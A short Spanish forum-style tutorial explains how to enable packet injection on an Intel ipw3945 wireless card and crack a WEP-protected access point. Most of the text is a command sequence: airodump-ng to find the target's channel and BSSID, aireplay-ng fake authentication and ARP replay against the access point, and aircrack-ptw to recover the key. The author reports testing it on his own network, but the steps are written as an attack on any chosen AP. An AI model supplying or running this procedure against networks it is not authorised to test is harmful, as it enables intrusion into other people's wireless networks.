Para aquellos que no podiamos inyectar con nuestra ipw3945 aqui les dejo una muy buena info, para lograrlo.
Primero modificar el rate de nuestra tarjeta y canal adaptandolo al que corresponda con el ap
Ejecutamos desde la terminal
./ipw3945
Nos pedirá el canal, rate, bssid
hecho esto podremos inyectar, pero hay un detalle para capturar usaremos la rtap0 y para inyectar la interfaz wifi0
La inyección se hace de la siguiente forma
airodump-ng rtap0
Con esto comprobamos cual es el canal de ap a atacar y tambien el bssid luego tenemos que abrir otra terminal y con el aireplay-ng hacemos lo que sigue:
aireplay-ng -1 0 -e Nombre_del_ap -a mac_del_ap -h mi_mac wifi0
Y en otra terminal distinta hacemos lo siguiente:
aireplay-ng -3 -b mac_del_ap -h mi_mac wifi0
Para finalizar en una terminal abrimos el airodump-ng de la siguinte forma:
airodump-ng rtap0
Con esto lo que nos queda es esprar a que el aireplay-ng coja el arp. Para finalizar lo que tenemos que hacer es;
aircrack-ptw archivo.cap
Yo acabo de testear con mi red y me funciono de maravilla.